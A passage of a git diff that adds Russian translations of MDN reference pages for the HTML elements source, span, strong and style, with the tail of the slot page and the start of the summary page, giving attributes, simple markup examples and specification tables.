+  &lt;details&gt;
+    &lt;summary&gt;
+      &lt;code class="name"&gt;&amp;lt;&lt;slot name="element-name"&gt;NEED NAME&lt;/slot&gt;&amp;gt;&lt;/code&gt;
+      &lt;i class="desc"&gt;&lt;slot name="description"&gt;NEED DESCRIPTION&lt;/slot&gt;&lt;/i&gt;
+    &lt;/summary&gt;
+    &lt;div class="attributes"&gt;
+      &lt;h4&gt;Attributes&lt;/h4&gt;
+      &lt;slot name="attributes"&gt;&lt;p&gt;None&lt;/p&gt;&lt;/slot&gt;
+    &lt;/div&gt;
+  &lt;/details&gt;
+  &lt;hr&gt;
+&lt;/template&gt;</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете увидеть этот полный пример в действии на странице  <a class="external external-icon" href="https://github.com/mdn/web-components-examples/tree/master/element-details" rel="noopener">element-details</a> (смотрите его <a class="external external-icon" href="https://mdn.github.io/web-components-examples/element-details/" rel="noopener">в режиме реального времени</a>). Кроме того, вы можете найти в разделе <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Использование шаблонов и слотов</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','scripting.html#the-slot-element','&lt;slot&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#shadow-tree-slots','Slots')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("html.elements.slot")}}</p>
diff --git a/files/ru/web/html/element/source/index.html b/files/ru/web/html/element/source/index.html
new file mode 100644
index 0000000000..847326d6b2
--- /dev/null
+++ b/files/ru/web/html/element/source/index.html
@@ -0,0 +1,120 @@
+---
+title: Элемент <source>
+slug: Web/HTML/Element/source
+translation_of: Web/HTML/Element/source
+---
+<p><strong>HTML-элемент <code>&lt;source&gt;</code> </strong> указывает несколько медиа-ресурсов для элементов {{HTMLElement("picture")}}, {{HTMLElement("video")}} и {{HTMLElement("audio")}}. Это пустой элемент. Он обычно используется для обслуживания одного и того же медиа-контента <a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">в нескольких форматах, поддерживаемых различными браузерами</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый контент</th>
+   <td>Нет, это  {{Glossary("пустой элемент")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>Должен иметь открывающий тег; закрывающий тег необязателен.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Разрешённые родители</dfn></th>
+   <td>
+    <div>Медиа-элементы —{{HTMLElement("audio")}} или {{HTMLelement("video")}}—должен быть помещён перед любым <a href="/en-US/docs/HTML/Content_categories#Flow_content">потоковым контентом</a> или элементом{{HTMLElement("track")}}.</div>
+
+    <div>Элемент {{HTMLElement("picture")}} , должен быть помещён перед элементом {{HTMLElement("img")}}.</div>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLSourceElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя <a href="/en-US/docs/HTML/Global_attributes">универсальные атрибуты</a>.</p>
+
+<ol>
+ <li>адреса изображения (URL);</li>
+ <li>дескриптора ширины, представляющего собой целое положительное число, за которым следует <code>'w'</code>.  Значением по умолчанию, если оно отсутствует, является бесконечность.</li>
+ <li>дескриптора плотности пикселей, представляющее собой положительное десятичное число, за которым следует <code>'x'</code>. Значением по умолчанию, если оно остутствует, является <code>1x</code>.</li>
+</ol>
+
+<dl>
+ <dt>{{htmlattrdef("sizes")}} {{experimental_inline}}</dt>
+ <dd>Список размеров изображений для разных размеров страниц. Он состоит из разделённых запятыми медиа-запросов со значениями ширины изображения. Эта информация используется браузером перед выкладкой страницы для определения конкретного изображения, заданного в атрибуте {{htmlattrxref("srcset", "source")}}. Атрибут <code>sizes</code> работает только тогда, когда элемент  {{HTMLElement("source")}} расположен внутри элемента {{HTMLElement("picture")}}.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Требуемый для элементов  {{HTMLElement("audio")}} и {{HTMLElement("video")}} адрес медиа-ресурсов. Значение этого атрибута игнорируется браузером, когда элемент <code>&lt;source&gt;</code> размещён внутри элемента {{HTMLElement("picture")}}.</dd>
+ <dt>{{htmlattrdef("srcset")}} {{experimental_inline}}</dt>
+ <dd>Список из одной или нескольких строк, разделённых запятыми, определяющий набор возможных изображений, представленных для отображения в браузере. Каждая строка может состоять из:</dd>
+ <dd>
+ <p>Каждая строка списка должна содержать по крайней мере дескриптор ширины или дескриптор плотности пикселей.  </p>
+
+ <p>Браузер выбирает самое подходящее изображение для отображения в данный момент времени.</p>
+
+ <p>Атрибут <code>srcset</code>  работает только в том случае, когда элемент {{HTMLElement("source")}} находится внутри элемента {{HTMLElement("picture")}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>MIME-тип ресурса, опцинально содержащий параметр <code>codecs</code>. Для получения полной информации по указанию кодеков смотрите  <a class="external" href="https://tools.ietf.org/html/rfc4281">RFC 4281</a>. </dd>
+ <dt>{{htmlattrdef("media")}} {{experimental_inline}}</dt>
+ <dd>Определяет <a class="internal" href="/en-US/docs/CSS/Media_queries">медиа-запрос</a> , согласно которому будет выводиться изображение. Работает только в элементе {{HTMLElement("picture")}}.</dd>
+</dl>
+
+<p>Если атрибут <code>type</code> не указан, то он запрашивается с сервера и проверяется, может ли {{Glossary("user agent")}} его обрабатывать. Если он не может быть обработан, проверяется следующий <code>&lt;source&gt;</code>. Если атрибут <code>type</code> указан, он сравнивается с типами, которые может поддерживать {{Glossary("user agent")}}​​​​​, и если он не распознан, сервер даже не запрашивается, вместо этого проверяется следующий элемент <code>&lt;source&gt;</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>This example demonstrates how to offer a video in Ogg format for users whose browsers support Ogg format, and a QuickTime format video for users whose browsers support that. If the <code>audio</code> or <code>video</code> element is not supported by the browser, a notice is displayed instead.  If the browser supports the element but does not support any of the specified formats, an <code>error</code> event is raised and the default media controls (if enabled) will indicate an error. See also the list of <a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">media formats supported by the audio and video elements</a> in various browsers.</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="foo.webm" type="video/webm"&gt;
+  &lt;source src="foo.ogg" type="video/ogg"&gt;
+  &lt;source src="foo.mov" type="video/quicktime"&gt;
+  I'm sorry; your browser doesn't support HTML5 video.
+&lt;/video&gt;
+</pre>
+
+<p>For more examples, see <a class="internal" href="/en-US/docs/Using_HTML5_audio_and_video">Using audio and video in Firefox</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-source-element', '&lt;source&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("html.elements.source")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("picture")}} </li>
+ <li>Элемент {{HTMLElement("audio")}} </li>
+ <li>Элемент {{HTMLElement("video")}} </li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ru/web/html/element/span/index.html b/files/ru/web/html/element/span/index.html
new file mode 100644
index 0000000000..3a8788e03e
--- /dev/null
+++ b/files/ru/web/html/element/span/index.html
@@ -0,0 +1,124 @@
+---
+title: <span>
+slug: Web/HTML/Element/span
+tags:
+  - Element
+  - HTML
+  - Web
+  - Веб
+  - Потоковый контент
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/span
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;span&gt;</code></strong> является основным строковым контейнером для фразового контента, который, по существу, ничего не представляет. Он может использоваться для группировки элементов в целях стилизации (использование атрибутов {{htmlattrxref("class")}} или {{htmlattrxref("id")}}) или потому, что они имеет общие значения атрибутов, например {{htmlattrxref("lang")}}.</span> Он должен быть использован только когда нет другого подходящего по семантике элемента. <code>&lt;span&gt;</code> очень похож на элемент {{HTMLElement("div")}}, но {{HTMLElement("div")}} является <a href="/ru/docs/Web/HTML/Block-level_elements">блочным</a> элементом, в то время как <code>&lt;span&gt;</code> является <a href="/ru/docs/Web/HTML/Строчные_Элементы">строчным</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/span.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый</a> или <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потоковый</a> контент в качестве содержимого.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLSpanElement")}} (до {{glossary("HTML5")}}, интерфейсом был {{domxref("HTMLElement")}})</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Пример_1">Пример 1</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html; gutter:false">&lt;p&gt;&lt;span&gt;Какой-нибудь текст&lt;/span&gt;&lt;/p&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример_1')}}</p>
+
+<h2 id="Пример_2">Пример 2</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush:html;gutter:false">&lt;li&gt;&lt;span&gt;
+    &lt;a href="portfolio.html" target="_blank"&gt;Посмотреть мое портфолио&lt;/a&gt;
+&lt;/span&gt;&lt;/li&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">li span {
+  background: gold;
+ }
+</pre>
+
+<h3 id="Результат_2">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример_2')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>{{glossary("DOM")}}-интерфейс теперь {{domxref("HTMLSpanElement")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#edef-SPAN', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.span")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML-элемент {{HTMLElement("div")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/strong/index.html b/files/ru/web/html/element/strong/index.html
new file mode 100644
index 0000000000..a1fffd37c6
--- /dev/null
+++ b/files/ru/web/html/element/strong/index.html
@@ -0,0 +1,135 @@
+---
+title: <strong>
+slug: Web/HTML/Element/strong
+tags:
+  - HTML
+  - HTML текстовая семантика
+  - strong
+  - Важное значение
+  - Веб
+  - Острая необходимость
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/strong
+---
+<p id="Summary"><span class="seoSummary">Элемент <strong>сильной значимости</strong> (<strong><code>&lt;strong&gt;</code>)</strong> указывает на то, что его содержание имеет большое значение, серьезность или срочность. Браузеры обычно отображают содержимое жирным шрифтом.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Потоковой контент</a>, <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Фразовый контент</a>, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Опускание тегов</th>
+   <td>Нет, должен иметь как начальный тег, так и конечный тег.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Любой элемент, который принимает <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">фразовый контент</a>, или любой другой элемент, который принимает <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">потоковой контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA-роли</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя <a href="https://developer.mozilla.org/ru/docs/Web/HTML/%D0%9E%D0%B1%D1%89%D0%B8%D0%B5_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D1%8B">глобальные атрибуты</a>.</p>
+
+<h2 id="Замечания_по_использованию">Замечания по использованию</h2>
+
+<p>Элемент <code>&lt;strong&gt;</code> предназначен для контента, который имеет "большое значение", включая вещи большой серьезности или срочности (например, предупреждения). Это может быть предложение, которое имеет большое значение для всей страницы, или вы можете просто попытаться указать, что некоторые слова имеют большее значение по сравнению с соседним контентом.</p>
+
+<p>Обычно этот элемент отображается по умолчанию с использованием жирного шрифта. Однако, он не должен быть использован просто для применения жирного стиля; используйте свойсто CSS {{cssxref("font-weight")}} для этой цели. Используйте элемент {{HTMLElement("b")}}, чтобы привлечь внимание к определенному тексту без указания более высокого уровня важности. Испоьзуйте элемент {{HTMLElement("em")}} element для выделения текста, который имеет выраженный акцент.</p>
+
+<p>Другим приемлемым использованием для <code>&lt;strong&gt;</code> является обозначение ярлыков абзацев, которые представляют заметки или предупреждения в тексте страницы.</p>
+
+<h3 id="&lt;b>_против_&lt;strong>">&lt;b&gt; против &lt;strong&gt;</h3>
+
+<p>Это часто путает новых разработчиков, почему существует так много способов выразить одно и то же на представленном веб-сайте. {{HTMLElement("b")}} и <code>&lt;strong&gt;</code> возможно, является одним из наиболее распространенных источников путаницы, заставляя разработчиков задавать себе вопрос: «Должен ли я использовать <code>&lt;b&gt;</code> или <code>&lt;strong&gt;</code>? Разве они не делают одно и тоже?»</p>
+
+<p>Не совсем. Элемент <code>&lt;strong&gt;</code> для контента, который имеет большее значение, в то время как элемент <code>&lt;b&gt;</code> используется для привлечения внимания к тексту, не указывая на то, что это более важно.</p>
+
+<p>Это может помочь понять, что оба являются правильным и семантическими элементами в HTML5, и это совпадение, что оба они имеют одинаковый стиль (полужирный) в большинстве браузеров (хотя некоторые старые браузеры фактически подчеркивают <code>&lt;strong&gt;</code>). Каждый элемент предназначен для использования в определенных типах сценариев, и если вы хотите жирный шрифт просто для украшения, вместо этого вы должные использовать свойства CSS {{cssxref("font-weight")}}.</p>
+
+<p>Предполагаемое значение или цель прилагаемого текста должно быть тем, что определяет, какой элемент вы используете. Значение общения - вот что такое семантика.</p>
+
+<h3 id="&lt;em>_против_&lt;strong>">&lt;em&gt; против &lt;strong&gt;</h3>
+
+<p>Добавление к путанице заключается в том, что, хотя HTML 4 определяет <code>&lt;strong&gt;</code> как просто указывающий на более сильный акцент, HTML 5 определяет <code>&lt;strong&gt;</code> как представляющий "большое значение для его содержимого". Это важное различие.</p>
+
+<p>В то время, как  <code>&lt;em&gt;</code> используется для изменения значения предложения, поскольку делается устный акцент ("Я <em>люблю</em> морковь" против "Я люблю<em>морковь</em>"), <code>&lt;strong&gt;</code> используется, для придания предложению порции особого значения (например, "<strong>Предупреждение!</strong> Это <strong>очень опасно.</strong>") Оба элемента <code>&lt;strong&gt;</code> и <code>&lt;em&gt;</code> могут быть вложены для увеличения относительной степени важности или усиленого акцента, соответственно.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Основной_пример">Основной пример</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Прежде чем продолжить, &lt;strong&gt;убедитесь, что вы надели защитные очки&lt;/strong&gt;.&lt;/p&gt;</pre>
+
+<p>Результат:</p>
+
+<p>{{EmbedLiveSample("Основной_пример", 650, 80)}}</p>
+
+<h3 id="Маркировочные_предупреждения">Маркировочные предупреждения</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;&lt;strong&gt;Важно:&lt;/strong&gt; прежде чем продолжить, убедитесь, что вы добавили много масла.&lt;/p&gt;</pre>
+
+<p>Это приведет к:</p>
+
+<p>{{EmbedLiveSample("Маркировочные_предупреждения", 650, 80)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-strong-element', '&lt;strong&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-strong-element', '&lt;strong&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-STRONG', '&lt;strong&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("html.elements.strong")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("b")}}</li>
+ <li>Элемент {{HTMLElement("em")}}</li>
+ <li>Элемент {{cssxref("font-weight")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/style/index.html b/files/ru/web/html/element/style/index.html
new file mode 100644
index 0000000000..f3ed7c9f53
--- /dev/null
+++ b/files/ru/web/html/element/style/index.html
@@ -0,0 +1,174 @@
+---
+title: style
+slug: Web/HTML/Element/style
+tags:
+  - HTML
+  - Reference
+  - Référence(2)
+  - Веб
+  - метаданные документа HTML
+  - элементы
+translation_of: Web/HTML/Element/style
+---
+<h2 id="Summary" name="Summary">Краткое описание</h2>
+
+<p><em>HTML-элемент <strong>&lt;style&gt;</strong></em> содержит стилевую информацию для документа или его части. По умолчанию стилевые инструкции внутри этого элемента считаются написанными на <a href="/ru/docs/Web/CSS">CSS</a>.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/ru/docs/HTML/Content_categories">Категории содержимого</a></dfn><a href="/ru/docs/Web/HTML/Content_categories#Metadata_content">Metadata content</a>, and if the <code>scoped</code> attribute is present: <a href="/ru/docs/Web/HTML/Content_categories#Flow_content">flow content </a>.</li>
+ <li><dfn>Permitted content</dfn> Style information matching the language of the <code>type</code> attribute.</li>
+ <li><dfn>Tag omission</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Допустимые родительские элементы</dfn> ...</li>
+ <li><dfn>Интерфейс DOM</dfn> {{domxref("HTMLStyleElement")}}</li>
+</ul>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>This element includes the <a href="/ru/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Этот атрибут определяет язык стиля в виде MIME-типа (кодировка не указывается). Этот атрибут необязателен, и при отсутствии считается «<code>text/css</code>».</dd>
+ <dt>{{htmlattrdef("media")}}</dt>
+ <dd>К какому виду медиа должен применяться этот стиль. Значение этого атрибута — <a href="/ru/docs/Web/Guide/CSS/Media_queries">media query</a>, которое при отсутствии атрибута будет <code>all</code>.</dd>
+ <dt>{{htmlattrdef("scoped")}}</dt>
+ <dd>Если указан этот атрибут, то стиль применяется только внутри своего родительского элемента. Если не указан, то стиль применяется ко всему документу.</dd>
+ <dt>{{htmlattrdef("title")}}</dt>
+ <dd>Specifies alternative style sheet sets.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>If set, disables (does not apply) the style rules, specified within the element, to the {{domxref("document","Document")}}.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Простая_таблица_стилей">Простая таблица стилей</h3>
+
+<pre class="brush:html">&lt;style type="text/css"&gt;
+body {
+  color:red;
+}
+&lt;/style&gt;
+</pre>
+
+<h3 id="Таблица_стилей_с_ограниченной_областью_действия">Таблица стилей с ограниченной областью действия</h3>
+
+<pre class="brush:html;highlight:7">&lt;article&gt;
+  &lt;div&gt;Атрибут scoped позволяет включить элементы стиля в середине документа.
+   Внутренние правила применяются только внутри родительского элемента.&lt;/div&gt;
+  &lt;p&gt;Этот текст должен быть чёрным. Если он красный, ваш браузер не поддерживает атрибут scoped.&lt;/p&gt;
+  &lt;section&gt;
+    &lt;style scoped&gt;
+      p { color: red; }
+    &lt;/style&gt;
+    &lt;p&gt;Этот должен быть красным.&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/article&gt;
+</pre>
+
+<h4 id="Live_sample" name="Live_sample">Live sample</h4>
+
+<div>{{ EmbedLiveSample('Таблица_стилей_с_ограниченной_областью_действия', '100%', '200') }}</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'document-metadata.html#the-style-element', 'style') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Нет отличий от {{ SpecName('HTML5 W3C') }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', 'document-metadata.html#the-style-element', 'style') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Добавлен атрибут <code>scoped</code></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML4.01', 'present/styles.html#h-14.2.3', 'style') }}</td>
+   <td>{{ Spec2('HTML4.01') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>scoped</code></td>
+   <td>20 <span style="color: #4d4e53;">[1]</span></td>
+   <td>{{CompatGeckoDesktop(21.0)}}<a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=508725">[2]</a></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>scoped</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(25.0)}}<a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=508725">[2]</a></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Поддерживается в Chrome с 20+ по 34 при включённом флаге "<strong>Enable &lt;style scoped&gt;</strong>" или "<strong>experimental WebKit features</strong>" в chrome://flags. <a href="https://groups.google.com/a/chromium.org/forum/#!searchin/blink-dev/scoped/blink-dev/R1x18ZLS5qQ/Bjuh_cENhlQJ">Удалён в Chrome 35+ из-за сложности кода</a>.<br>
+ [2] Gecko 20 и более новые реализуют псевдо-классы :scope, но должна быть включена настройка layout.css.scope-pseudo.enabled. This is only the case by default in Nightly and Aurora test versions.</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("link")}}, позволяющий использовать внешние таблицы стилей.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ru/web/html/element/summary/index.html b/files/ru/web/html/element/summary/index.html
new file mode 100644
index 0000000000..44df57ef35
--- /dev/null
+++ b/files/ru/web/html/element/summary/index.html
@@ -0,0 +1,146 @@
+---
+title: '<summary>: The Disclosure Summary element'
+slug: Web/HTML/Element/summary
+translation_of: Web/HTML/Element/summary
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">The <strong>HTML Disclosure Summary element</strong> (<strong><code>&lt;summary&gt;</code></strong>) element specifies a summary, caption, or legend for a {{HTMLElement("details")}} element's disclosure box.</span> Clicking the <code>&lt;summary&gt;</code> element toggles the state of the parent <code>&lt;details&gt;</code> element open and closed.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/summary.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Phrasing content</a> or one element of <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Heading_content">Heading content</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>None, both the start tag and the end tag are mandatory.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>The {{HTMLElement("details")}} element.</td>
+  </tr>
+  <tr>
